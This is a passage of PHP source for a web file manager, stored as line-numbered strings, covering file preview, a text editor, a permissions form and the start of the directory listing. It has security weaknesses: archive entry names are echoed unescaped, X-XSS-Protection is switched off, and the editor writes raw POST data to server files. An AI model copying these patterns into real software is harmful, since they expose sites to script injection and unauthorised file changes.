\$file = fm_clean_path(\$file, false);", 1527 => "    \$file = str_replace('/', '', \$file);", 1528 => "    if (\$file == '' || !is_file(\$path . '/' . \$file) || in_array(\$file, \$GLOBALS['exclude_items'])) {", 1529 => "        fm_set_msg(lng('File not found'), 'error');", 1530 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1531 => "    }", 1532 => "", 1533 => "    if(!\$quickView) {", 1534 => "        fm_show_header(); // HEADER", 1535 => "        fm_show_nav_path(FM_PATH); // current path", 1536 => "    }", 1537 => "", 1538 => "    \$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file);", 1539 => "    \$file_path = \$path . '/' . \$file;", 1540 => "", 1541 => "    \$ext = strtolower(pathinfo(\$file_path, PATHINFO_EXTENSION));", 1542 => "    \$mime_type = fm_get_mime_type(\$file_path);", 1543 => "    \$filesize_raw = fm_get_size(\$file_path);", 1544 => "    \$filesize = fm_get_filesize(\$filesize_raw);", 1545 => "", 1546 => "    \$is_zip = false;", 1547 => "    \$is_gzip = false;", 1548 => "    \$is_image = false;", 1549 => "    \$is_audio = false;", 1550 => "    \$is_video = false;", 1551 => "    \$is_text = false;", 1552 => "    \$is_onlineViewer = false;", 1553 => "", 1554 => "    \$view_title = 'File';", 1555 => "    \$filenames = false; // for zip", 1556 => "    \$content = ''; // for text", 1557 => "    \$online_viewer = strtolower(FM_DOC_VIEWER);", 1558 => "", 1559 => "    if(\$online_viewer && \$online_viewer !== 'false' && in_array(\$ext, fm_get_onlineViewer_exts())){", 1560 => "        \$is_onlineViewer = true;", 1561 => "    }", 1562 => "    elseif (\$ext == 'zip' || \$ext == 'tar') {", 1563 => "        \$is_zip = true;", 1564 => "        \$view_title = 'Archive';", 1565 => "        \$filenames = fm_get_zif_info(\$file_path, \$ext);", 1566 => "    } elseif (in_array(\$ext, fm_get_image_exts())) {", 1567 => "        \$is_image = true;", 1568 => "        \$view_title = 'Image';", 1569 => "    } elseif (in_array(\$ext, fm_get_audio_exts())) {", 1570 => "        \$is_audio = true;", 1571 => "        \$view_title = 'Audio';", 1572 => "    } elseif (in_array(\$ext, fm_get_video_exts())) {", 1573 => "        \$is_video = true;", 1574 => "        \$view_title = 'Video';", 1575 => "    } elseif (in_array(\$ext, fm_get_text_exts()) || substr(\$mime_type, 0, 4) == 'text' || in_array(\$mime_type, fm_get_text_mimes())) {", 1576 => "        \$is_text = true;", 1577 => "        \$content = file_get_contents(\$file_path);", 1578 => "    }", 1579 => "", 1580 => "    ?>", 1581 => "    <div class=\"row\">", 1582 => "        <div class=\"col-12\">", 1583 => "            <?php if(!\$quickView) { ?>", 1584 => "                <p class=\"break-word\"><b><?php echo \$view_title ?> \"<?php echo fm_enc(fm_convert_win(\$file)) ?>\"</b></p>", 1585 => "                <p class=\"break-word\">", 1586 => "                    Full path: <?php echo fm_enc(fm_convert_win(\$file_path)) ?><br>", 1587 => "                    File size: <?php echo (\$filesize_raw <= 1000) ? \"\$filesize_raw bytes\" : \$filesize; ?><br>", 1588 => "                    MIME-type: <?php echo \$mime_type ?><br>", 1589 => "                    <?php", 1590 => "                    // ZIP info", 1591 => "                    if ((\$is_zip || \$is_gzip) && \$filenames !== false) {", 1592 => "                        \$total_files = 0;", 1593 => "                        \$total_comp = 0;", 1594 => "                        \$total_uncomp = 0;", 1595 => "                        foreach (\$filenames as \$fn) {", 1596 => "                            if (!\$fn['folder']) {", 1597 => "                                \$total_files++;", 1598 => "                            }", 1599 => "                            \$total_comp += \$fn['compressed_size'];", 1600 => "                            \$total_uncomp += \$fn['filesize'];", 1601 => "                        }", 1602 => "                        ?>", 1603 => "                        Files in archive: <?php echo \$total_files ?><br>", 1604 => "                        Total size: <?php echo fm_get_filesize(\$total_uncomp) ?><br>", 1605 => "                        Size in archive: <?php echo fm_get_filesize(\$total_comp) ?><br>", 1606 => "                        Compression: <?php echo round((\$total_comp / \$total_uncomp) * 100) ?>%<br>", 1607 => "                        <?php", 1608 => "                    }", 1609 => "                    // Image info", 1610 => "                    if (\$is_image) {", 1611 => "                        \$image_size = getimagesize(\$file_path);", 1612 => "                        echo 'Image sizes: ' . (isset(\$image_size[0]) ? \$image_size[0] : '0') . ' x ' . (isset(\$image_size[1]) ? \$image_size[1] : '0') . '<br>';", 1613 => "                    }", 1614 => "                    // Text info", 1615 => "                    if (\$is_text) {", 1616 => "                        \$is_utf8 = fm_is_utf8(\$content);", 1617 => "                        if (function_exists('iconv')) {", 1618 => "                            if (!\$is_utf8) {", 1619 => "                                \$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', \$content);", 1620 => "                            }", 1621 => "                        }", 1622 => "                        echo 'Charset: ' . (\$is_utf8 ? 'utf-8' : '8 bit') . '<br>';", 1623 => "                    }", 1624 => "                    ?>", 1625 => "                </p>", 1626 => "                <p>", 1627 => "                    <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-cloud-download\"></i> <?php echo lng('Download') ?></a></b> &nbsp;", 1628 => "                    <b><a href=\"<?php echo fm_enc(\$file_url) ?>\" target=\"_blank\"><i class=\"fa fa-external-link-square\"></i> <?php echo lng('Open') ?></a></b>", 1629 => "                    &nbsp;", 1630 => "                    <?php", 1631 => "                    // ZIP actions", 1632 => "                    if (!FM_READONLY && (\$is_zip || \$is_gzip) && \$filenames !== false) {", 1633 => "                        \$zip_name = pathinfo(\$file_path, PATHINFO_FILENAME);", 1634 => "                        ?>", 1635 => "                        <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;", 1636 => "                        <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode(\$file) ?>&amp;tofolder=1\" title=\"UnZip to <?php echo fm_enc(\$zip_name) ?>\"><i class=\"fa fa-check-circle\"></i>", 1637 => "                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;", 1638 => "                        <?php", 1639 => "                    }", 1640 => "                    if (\$is_text && !FM_READONLY) {", 1641 => "                        ?>", 1642 => "                        <b><a href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode(\$file) ?>\" class=\"edit-file\"><i class=\"fa fa-pencil-square\"></i> <?php echo lng('Edit') ?>", 1643 => "                            </a></b> &nbsp;", 1644 => "                        <b><a href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode(\$file) ?>&env=ace\"", 1645 => "                              class=\"edit-file\"><i class=\"fa fa-pencil-square-o\"></i> <?php echo lng('AdvancedEditor') ?>", 1646 => "                            </a></b> &nbsp;", 1647 => "                    <?php } ?>", 1648 => "                    <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\"><i class=\"fa fa-chevron-circle-left go-back\"></i> <?php echo lng('Back') ?></a></b>", 1649 => "                </p>", 1650 => "                <?php", 1651 => "            }", 1652 => "            if(\$is_onlineViewer) {", 1653 => "                if(\$online_viewer == 'google') {", 1654 => "                    echo '<iframe src=\"https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc(\$file_url) . '\" frameborder=\"no\" style=\"width:100%;min-height:460px\"></iframe>';", 1655 => "                } else if(\$online_viewer == 'microsoft') {", 1656 => "                    echo '<iframe src=\"https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc(\$file_url) . '\" frameborder=\"no\" style=\"width:100%;min-height:460px\"></iframe>';", 1657 => "                }", 1658 => "            } elseif (\$is_zip) {", 1659 => "                // ZIP content", 1660 => "                if (\$filenames !== false) {", 1661 => "                    echo '<code class=\"maxheight\">';", 1662 => "                    foreach (\$filenames as \$fn) {", 1663 => "                        if (\$fn['folder']) {", 1664 => "                            echo '<b>' . fm_enc(\$fn['name']) . '</b><br>';", 1665 => "                        } else {", 1666 => "                            echo \$fn['name'] . ' (' . fm_get_filesize(\$fn['filesize']) . ')<br>';", 1667 => "                        }", 1668 => "                    }", 1669 => "                    echo '</code>';", 1670 => "                } else {", 1671 => "                    echo '<p>'.lng('Error while fetching archive info').'</p>';", 1672 => "                }", 1673 => "            } elseif (\$is_image) {", 1674 => "                // Image content", 1675 => "                if (in_array(\$ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {", 1676 => "                    echo '<p><img src=\"' . fm_enc(\$file_url) . '\" alt=\"\" class=\"preview-img\"></p>';", 1677 => "                }", 1678 => "            } elseif (\$is_audio) {", 1679 => "                // Audio content", 1680 => "                echo '<p><audio src=\"' . fm_enc(\$file_url) . '\" controls preload=\"metadata\"></audio></p>';", 1681 => "            } elseif (\$is_video) {", 1682 => "                // Video content", 1683 => "                echo '<div class=\"preview-video\"><video src=\"' . fm_enc(\$file_url) . '\" width=\"640\" height=\"360\" controls preload=\"metadata\"></video></div>';", 1684 => "            } elseif (\$is_text) {", 1685 => "                if (FM_USE_HIGHLIGHTJS) {", 1686 => "                    // highlight", 1687 => "                    \$hljs_classes = array(", 1688 => "                        'shtml' => 'xml',", 1689 => "                        'htaccess' => 'apache',", 1690 => "                        'phtml' => 'php',", 1691 => "                        'lock' => 'json',", 1692 => "                        'svg' => 'xml',", 1693 => "                    );", 1694 => "                    \$hljs_class = isset(\$hljs_classes[\$ext]) ? 'lang-' . \$hljs_classes[\$ext] : 'lang-' . \$ext;", 1695 => "                    if (empty(\$ext) || in_array(strtolower(\$file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)\$#i', \$file)) {", 1696 => "                        \$hljs_class = 'nohighlight';", 1697 => "                    }", 1698 => "                    \$content = '<pre class=\"with-hljs\"><code class=\"' . \$hljs_class . '\">' . fm_enc(\$content) . '</code></pre>';", 1699 => "                } elseif (in_array(\$ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {", 1700 => "                    // php highlight", 1701 => "                    \$content = highlight_string(\$content, true);", 1702 => "                } else {", 1703 => "                    \$content = '<pre>' . fm_enc(\$content) . '</pre>';", 1704 => "                }", 1705 => "                echo \$content;", 1706 => "            }", 1707 => "            ?>", 1708 => "        </div>", 1709 => "    </div>", 1710 => "    <?php", 1711 => "    if(!\$quickView) {", 1712 => "        fm_show_footer();", 1713 => "    }", 1714 => "    exit;", 1715 => "}", 1716 => "", 1717 => "// file editor", 1718 => "if (isset(\$_GET['edit'])) {", 1719 => "    \$file = \$_GET['edit'];", 1720 => "    \$file = fm_clean_path(\$file, false);", 1721 => "    \$file = str_replace('/', '', \$file);", 1722 => "    if (\$file == '' || !is_file(\$path . '/' . \$file)) {", 1723 => "        fm_set_msg(lng('File not found'), 'error');", 1724 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1725 => "    }", 1726 => "    header('X-XSS-Protection:0');", 1727 => "    fm_show_header(); // HEADER", 1728 => "    fm_show_nav_path(FM_PATH); // current path", 1729 => "", 1730 => "    \$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file);", 1731 => "    \$file_path = \$path . '/' . \$file;", 1732 => "", 1733 => "    // normal editer", 1734 => "    \$isNormalEditor = true;", 1735 => "    if (isset(\$_GET['env'])) {", 1736 => "        if (\$_GET['env'] == \"ace\") {", 1737 => "            \$isNormalEditor = false;", 1738 => "        }", 1739 => "    }", 1740 => "", 1741 => "    // Save File", 1742 => "    if (isset(\$_POST['savedata'])) {", 1743 => "        \$writedata = \$_POST['savedata'];", 1744 => "        \$fd = fopen(\$file_path, \"w\");", 1745 => "        @fwrite(\$fd, \$writedata);", 1746 => "        fclose(\$fd);", 1747 => "        fm_set_msg(lng('File Saved Successfully'));", 1748 => "    }", 1749 => "", 1750 => "    \$ext = strtolower(pathinfo(\$file_path, PATHINFO_EXTENSION));", 1751 => "    \$mime_type = fm_get_mime_type(\$file_path);", 1752 => "    \$filesize = filesize(\$file_path);", 1753 => "    \$is_text = false;", 1754 => "    \$content = ''; // for text", 1755 => "", 1756 => "    if (in_array(\$ext, fm_get_text_exts()) || substr(\$mime_type, 0, 4) == 'text' || in_array(\$mime_type, fm_get_text_mimes())) {", 1757 => "        \$is_text = true;", 1758 => "        \$content = file_get_contents(\$file_path);", 1759 => "    }", 1760 => "", 1761 => "    ?>", 1762 => "    <div class=\"path\">", 1763 => "        <div class=\"row\">", 1764 => "            <div class=\"col-xs-12 col-sm-5 col-lg-6 pt-1\">", 1765 => "                <div class=\"btn-toolbar\" role=\"toolbar\">", 1766 => "                    <?php if (!\$isNormalEditor) { ?>", 1767 => "                        <div class=\"btn-group js-ace-toolbar\">", 1768 => "                            <button data-cmd=\"none\" data-option=\"fullscreen\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-fullscreen\" title=\"Fullscreen\"><i class=\"fa fa-expand\" title=\"Fullscreen\"></i></button>", 1769 => "                            <button data-cmd=\"find\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-search\" title=\"Search\"><i class=\"fa fa-search\" title=\"Search\"></i></button>", 1770 => "                            <button data-cmd=\"undo\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-undo\" title=\"Undo\"><i class=\"fa fa-undo\" title=\"Undo\"></i></button>", 1771 => "                            <button data-cmd=\"redo\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-redo\" title=\"Redo\"><i class=\"fa fa-repeat\" title=\"Redo\"></i></button>", 1772 => "                            <button data-cmd=\"none\" data-option=\"wrap\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-wordWrap\" title=\"Word Wrap\"><i class=\"fa fa-text-width\" title=\"Word Wrap\"></i></button>", 1773 => "                            <button data-cmd=\"none\" data-option=\"help\" class=\"btn btn-sm btn-outline-secondary\" id=\"js-ace-goLine\" title=\"Help\"><i class=\"fa fa-question\" title=\"Help\"></i></button>", 1774 => "                            <select id=\"js-ace-mode\" data-type=\"mode\" title=\"Select Document Type\" class=\"btn-outline-secondary border-left-0 d-none d-md-block\"><option>-- Select Mode --</option></select>", 1775 => "                            <select id=\"js-ace-theme\" data-type=\"theme\" title=\"Select Theme\" class=\"btn-outline-secondary border-left-0 d-none d-lg-block\"><option>-- Select Theme --</option></select>", 1776 => "                            <select id=\"js-ace-fontSize\" data-type=\"fontSize\" title=\"Select Font Size\" class=\"btn-outline-secondary border-left-0 d-none d-lg-block\"><option>-- Select Font Size --</option></select>", 1777 => "                        </div>", 1778 => "                    <?php } ?>", 1779 => "                </div>", 1780 => "            </div>", 1781 => "            <div class=\"edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1\">", 1782 => "                <a title=\"Back\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-reply-all\"></i> <?php echo lng('Back') ?></a>", 1783 => "                <a title=\"Backup\" class=\"btn btn-sm btn-outline-primary\" href=\"javascript:void(0);\" onclick=\"backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode(\$file) ?>')\"><i class=\"fa fa-database\"></i> <?php echo lng('BackUp') ?></a>", 1784 => "                <?php if (\$is_text) { ?>", 1785 => "                    <?php if (\$isNormalEditor) { ?>", 1786 => "                        <a title=\"Advanced\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode(\$file) ?>&amp;env=ace\"><i class=\"fa fa-pencil-square-o\"></i> <?php echo lng('AdvancedEditor') ?></a>", 1787 => "                        <button type=\"button\" class=\"btn btn-sm btn-outline-primary name=\"Save\" data-url=\"<?php echo fm_enc(\$file_url) ?>\" onclick=\"edit_save(this,'nrl')\"><i class=\"fa fa-floppy-o\"></i> Save", 1788 => "                        </button>", 1789 => "                    <?php } else { ?>", 1790 => "                        <a title=\"Plain Editor\" class=\"btn btn-sm btn-outline-primary\" href=\"?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode(\$file) ?>\"><i class=\"fa fa-text-height\"></i> <?php echo lng('NormalEditor') ?></a>", 1791 => "                        <button type=\"button\" class=\"btn btn-sm btn-outline-primary\" name=\"Save\" data-url=\"<?php echo fm_enc(\$file_url) ?>\" onclick=\"edit_save(this,'ace')\"><i class=\"fa fa-floppy-o\"></i> <?php echo lng('Save') ?>", 1792 => "                        </button>", 1793 => "                    <?php } ?>", 1794 => "                <?php } ?>", 1795 => "            </div>", 1796 => "        </div>", 1797 => "        <?php", 1798 => "        if (\$is_text && \$isNormalEditor) {", 1799 => "            echo '<textarea class=\"mt-2\" id=\"normal-editor\" rows=\"33\" cols=\"120\" style=\"width: 99.5%;\">' . htmlspecialchars(\$content) . '</textarea>';", 1800 => "        } elseif (\$is_text) {", 1801 => "            echo '<div id=\"editor\" contenteditable=\"true\">' . htmlspecialchars(\$content) . '</div>';", 1802 => "        } else {", 1803 => "            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');", 1804 => "        }", 1805 => "        ?>", 1806 => "    </div>", 1807 => "    <?php", 1808 => "    fm_show_footer();", 1809 => "    exit;", 1810 => "}", 1811 => "", 1812 => "// chmod (not for Windows)", 1813 => "if (isset(\$_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {", 1814 => "    \$file = \$_GET['chmod'];", 1815 => "    \$file = fm_clean_path(\$file);", 1816 => "    \$file = str_replace('/', '', \$file);", 1817 => "    if (\$file == '' || (!is_file(\$path . '/' . \$file) && !is_dir(\$path . '/' . \$file))) {", 1818 => "        fm_set_msg(lng('File not found'), 'error');", 1819 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 1820 => "    }", 1821 => "", 1822 => "    fm_show_header(); // HEADER", 1823 => "    fm_show_nav_path(FM_PATH); // current path", 1824 => "", 1825 => "    \$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$file;", 1826 => "    \$file_path = \$path . '/' . \$file;", 1827 => "", 1828 => "    \$mode = fileperms(\$path . '/' . \$file);", 1829 => "", 1830 => "    ?>", 1831 => "    <div class=\"path\">", 1832 => "        <div class=\"card mb-2 <?php echo fm_get_theme(); ?>\">", 1833 => "            <h6 class=\"card-header\">", 1834 => "                <?php echo lng('ChangePermissions') ?>", 1835 => "            </h6>", 1836 => "            <div class=\"card-body\">", 1837 => "                <p class=\"card-text\">", 1838 => "                    Full path: <?php echo \$file_path ?><br>", 1839 => "                </p>", 1840 => "                <form action=\"\" method=\"post\">", 1841 => "                    <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1842 => "                    <input type=\"hidden\" name=\"chmod\" value=\"<?php echo fm_enc(\$file) ?>\">", 1843 => "", 1844 => "                    <table class=\"table compact-table <?php echo fm_get_theme(); ?>\">", 1845 => "                        <tr>", 1846 => "                            <td></td>", 1847 => "                            <td><b><?php echo lng('Owner') ?></b></td>", 1848 => "                            <td><b><?php echo lng('Group') ?></b></td>", 1849 => "                            <td><b><?php echo lng('Other') ?></b></td>", 1850 => "                        </tr>", 1851 => "                        <tr>", 1852 => "                            <td style=\"text-align: right\"><b><?php echo lng('Read') ?></b></td>", 1853 => "                            <td><label><input type=\"checkbox\" name=\"ur\" value=\"1\"<?php echo (\$mode & 00400) ? ' checked' : '' ?>></label></td>", 1854 => "                            <td><label><input type=\"checkbox\" name=\"gr\" value=\"1\"<?php echo (\$mode & 00040) ? ' checked' : '' ?>></label></td>", 1855 => "                            <td><label><input type=\"checkbox\" name=\"or\" value=\"1\"<?php echo (\$mode & 00004) ? ' checked' : '' ?>></label></td>", 1856 => "                        </tr>", 1857 => "                        <tr>", 1858 => "                            <td style=\"text-align: right\"><b><?php echo lng('Write') ?></b></td>", 1859 => "                            <td><label><input type=\"checkbox\" name=\"uw\" value=\"1\"<?php echo (\$mode & 00200) ? ' checked' : '' ?>></label></td>", 1860 => "                            <td><label><input type=\"checkbox\" name=\"gw\" value=\"1\"<?php echo (\$mode & 00020) ? ' checked' : '' ?>></label></td>", 1861 => "                            <td><label><input type=\"checkbox\" name=\"ow\" value=\"1\"<?php echo (\$mode & 00002) ? ' checked' : '' ?>></label></td>", 1862 => "                        </tr>", 1863 => "                        <tr>", 1864 => "                            <td style=\"text-align: right\"><b><?php echo lng('Execute') ?></b></td>", 1865 => "                            <td><label><input type=\"checkbox\" name=\"ux\" value=\"1\"<?php echo (\$mode & 00100) ? ' checked' : '' ?>></label></td>", 1866 => "                            <td><label><input type=\"checkbox\" name=\"gx\" value=\"1\"<?php echo (\$mode & 00010) ? ' checked' : '' ?>></label></td>", 1867 => "                            <td><label><input type=\"checkbox\" name=\"ox\" value=\"1\"<?php echo (\$mode & 00001) ? ' checked' : '' ?>></label></td>", 1868 => "                        </tr>", 1869 => "                    </table>", 1870 => "", 1871 => "                    <p>", 1872 => "                        <button type=\"submit\" class=\"btn btn-success\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('Change') ?></button> &nbsp;", 1873 => "                        <b><a href=\"?p=<?php echo urlencode(FM_PATH) ?>\" class=\"btn btn-outline-primary\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></a></b>", 1874 => "                    </p>", 1875 => "                </form>", 1876 => "            </div>", 1877 => "        </div>", 1878 => "    </div>", 1879 => "    <?php", 1880 => "    fm_show_footer();", 1881 => "    exit;", 1882 => "}", 1883 => "", 1884 => "//--- FILEMANAGER MAIN", 1885 => "fm_show_header(); // HEADER", 1886 => "fm_show_nav_path(FM_PATH); // current path", 1887 => "", 1888 => "// messages", 1889 => "fm_show_message();", 1890 => "", 1891 => "\$num_files = count(\$files);", 1892 => "\$num_folders = count(\$folders);", 1893 => "\$all_files_size = 0;", 1894 => "\$tableTheme = (FM_THEME == \"dark\") ? \"text-white bg-dark table-dark\" : \"bg-white\";", 1895 => "?>", 1896 => "<form action=\"\" method=\"post\" class=\"pt-3\">", 1897 => "    <input type=\"hidden\" name=\"p\" value=\"<?php echo fm_enc(FM_PATH) ?>\">", 1898 => "    <input type=\"hidden\" name=\"group\" value=\"1\">", 1899 => "    <div class=\"table-responsive\">", 1900 => "        <table class=\"table table-bordered table-hover table-sm <?php echo \$tableTheme; ?>\" id=\"main-table\">", 1901 => "            <thead class=\"thead-white\">", 1902 => "            <tr>", 1903 => "                <?php if (!FM_READONLY): ?>", 1904 => "                    <th style=\"width:3%\" class=\"custom-checkbox-header\">", 1905 => "                        <div class=\"custom-control custom-checkbox\">", 1906 => "                            <input type=\"checkbox\" class=\"custom-control-input\" id=\"js-select-all-items\" onclick=\"checkbox_toggle()\">", 1907 => "                            <label class=\"custom-control-label\" for=\"js-select-all-items\"></label>", 1908 => "                        </div>", 1909 => "                    </th><?php endif; ?>", 1910 => "                <th><?php echo lng('Name') ?></th>", 1911 => "                <th><?php echo lng('Size') ?></th>", 1912 => "                <th><?php echo lng('Modified') ?></th>", 1913 => "                <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 1914 => "                    <th><?php echo lng('Perms') ?></th>", 1915 => "                    <th><?php echo lng('Owner') ?></th><?php endif; ?>", 1916 => "                <th><?php echo lng('Actions') ?></th>", 1917 => "            </tr>", 1918 => "            </thead>", 1919 => "            <?php", 1920 => "            // link to parent folder", 1921 => "            if (\$parent !== false) {", 1922 => "                ?>", 1923 => "                <tr><?php if (!FM_READONLY): ?>", 1924 => "                    <td class=\"nosort\"></td><?php endif; ?>", 1925 => "                    <td class=\"border-0\"><a href=\"?p=<?php echo urlencode(\$parent) ?>\"><i class=\"fa fa-chevron-circle-left go-back\"></i> ..</a></td>", 1926 => "                    <td class=\"border-0\"></td>", 1927 => "                    <td class=\"border-0\"></td>", 1928 => "                    <td class=\"border-0\"></td>", 1929 => "                    <?php if (!FM_IS_WIN && !\$hide_Cols) { ?>", 1930 => "                        <td class=\"border-0\"></td>", 1931 => "                        <td class=\"border-0\"></td>", 1932 => "                    <?php } ?>", 1933 => "                </tr>", 1934 => "                <?php", 1935 => "            }", 1936 => "            \$ii = 3399;", 1937 => "            foreach (\$folders as \$f) {", 1938 => "                \$is_link = is_link(\$path . '/' . \$f);", 1939 => "                \$img = \$is_link ? 'icon-link_folder' : 'fa fa-folder-o';", 1940 => "                \$modif_raw = filemtime(\$path . '/' . \$f);", 1941 => "                \$modif = date(FM_DATETIME_FORMAT, \$modif_raw);", 1942 => "                if (\$calc_folder) {", 1943 => "                    \$filesize_raw = fm_get_directorysize(\$path . '/' . \$f);", 1944 => "                    \$filesize = fm_get_filesize(\$filesize_raw);", 1945 => "                }", 1946 => "                else {", 1947 => "                    \$filesize_raw = \"\";", 1948 => "                    \$filesize = lng('Folder');", 1949 => "                }", 1950 => "                \$perms = substr(decoct(fileperms(\$path . '/' . \$f)), -4);", 1951 => "                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {", 1952 => "                    \$owner = posix_getpwuid(fileowner(\$path . '/' . \$f));", 1953 => "                    \$group = posix_getgrgid(filegroup(\$path . '/' . \$f));", 1954 => "                } else {", 1955 => "                    \$owner = array('name' => '?');", 1956 => "                    \$group = array('name' => '?');", 1957 => "                }", 1958 => "                ?>", 1959 => "                <tr>", 1960 => "                    <?php if (!FM_READONLY): ?>", 1961 => "                        <td class=\"custom-checkbox-td\">", 1962 => "                        <div class=\"custom-control custom-checkbox\">", 1963 => "                            <input type=\"checkbox\" class=\"custom-control-input\" id=\"<?php echo \$ii ?>\" name=\"file[]\" value=\"<?php echo fm_enc(\$f) ?>\">", 1964 => "                            <label class=\"custom-control-label\" for=\"<?php echo \$ii ?>\"></label>", 1965 => "                        </div>", 1966 => "                        </td><?php endif; ?>", 1967 => "                    <td>", 1968 => "                        <div class=\"filename\"><a href=\"?p=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"<?php echo \$img ?>\"></i> <?php echo fm_convert_win(fm_enc(\$f)) ?>", 1969 => "                            </a><?php echo(\$is_link ? ' &rarr; <i>' . readlink(\$path . '/' . \$f) . '</i>' : '') ?></div>", 1970 => "                    </td>", 1971 => "                    <td data-sort=\"a-<?php echo str_pad(\$filesize_raw, 18, \"0\", STR_PAD_LEFT);?>\">", 1972 => "                        <?php echo \$filesize; ?>", 1973 => "                    </td>", 1974 => "                    <td data-sort=\"a-<?php echo \$modif_raw;?>\"><?php echo \$modif ?></td>", 1975 => "                    <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 1976 => "                        <td><?php if (!FM_READONLY): ?><a title=\"Change Permissions\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode(\$f) ?>\"><?php echo \$perms ?></a><?php else: ?><?php echo \$perms ?><?php endif; ?>", 1977 => "                        </td>", 1978 => "                        <td><?php echo \$owner['name'] . ':' . \$group['name'] ?></td>", 1979 => "                    <?php endif; ?>", 1980 => "                    <td class=\"inline-actions\"><?php if (!FM_READONLY): ?>", 1981 => "                            <a title=\"<?php echo lng('Delete')?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode(\$f) ?>\" onclick=\"return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\\n \\n ( <?php echo urlencode(\$f) ?> )');\"> <i class=\"fa fa-trash-o\" aria-hidden=\"true\"></i></a>", 1982 => "                            <a title=\"<?php echo lng('Rename')?>\" href=\"#\" onclick=\"rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes(\$f)) ?>');return false;\"><i class=\"fa fa-pencil-square-o\" aria-hidden=\"true\"></i></a>", 1983 => "                            <a title=\"<?php echo lng('CopyTo')?>...\" href=\"?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"fa fa-files-o\" aria-hidden=\"true\"></i></a>", 1984 => "                        <?php endif; ?>", 1985 => "                        <a title=\"<?php echo lng('DirectLink')?>\" href=\"<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f . '/') ?>\" target=\"_blank\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>", 1986 => "                    </td>", 1987 => "                </tr>", 1988 => "                <?php", 1989 => "                flush();", 1990 => "                \$ii++;", 1991 => "            }", 1992 => "            \$ik = 6070;", 1993 => "            foreach (\$files as \$f) {", 1994 => "                \$is_link = is_link(\$path . '/' . \$f);", 1995 => "                \$img = \$is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class(\$path . '/' . \$f);", 1996 => "                \$modif_raw = filemtime(\$path . '/' . \$f);", 1997 => "                \$modif = date(FM_DATETIME_FORMAT, \$modif_raw);", 1998 => "                \$filesize_raw = fm_get_size(\$path . '/' . \$f);", 1999 => "                \$filesize = fm_get_filesize(\$filesize_raw);", 2000 => "                \$filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode(\$f);", 2001 => "                \$all_files_size += \$filesize_raw;", 2002 => "                \$perms = substr(decoct(fileperms(\$path . '/' . \$f)), -4);", 2003 => "                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {", 2004 => "                    \$owner = posix_getpwuid(fileowner(\$path . '/' . \$f));", 2005 => "                    \$group = posix_getgrgid(filegroup(\$path . '/' . \$f));", 2006 => "                } else {", 2007 => "                    \$owner = array('name' => '?');", 2008 => "                    \$group = array('name' => '?');", 2009 => "                }", 2010 => "                ?>", 2011 => "                <tr>", 2012 => "                    <?php if (!FM_READONLY): ?>", 2013 => "                        <td class=\"custom-checkbox-td\">", 2014 => "                        <div class=\"custom-control custom-checkbox\">", 2015 => "                            <input 